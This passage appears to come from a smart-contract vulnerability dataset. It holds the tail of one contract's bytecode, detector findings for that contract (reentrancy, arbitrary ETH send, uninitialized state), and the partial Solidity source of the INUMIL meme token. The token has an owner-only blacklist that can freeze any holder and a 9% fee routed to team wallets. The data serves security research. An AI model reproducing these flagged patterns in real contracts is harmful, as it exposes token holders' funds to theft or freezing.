3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122045f5408ec11dafcc2079cd2603c3c54f9df436f81b2762345edcf0535009820f64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,115 |
0x92e5c9aaa830bc71ed4b29fc074bbd8380be0a4e | // SPDX-License-Identifier: Unlicensed
// https://t.me/INUMIL
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract INUMIL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Inu Millionaire";
string private constant _symbol = "INUMIL";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 9;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
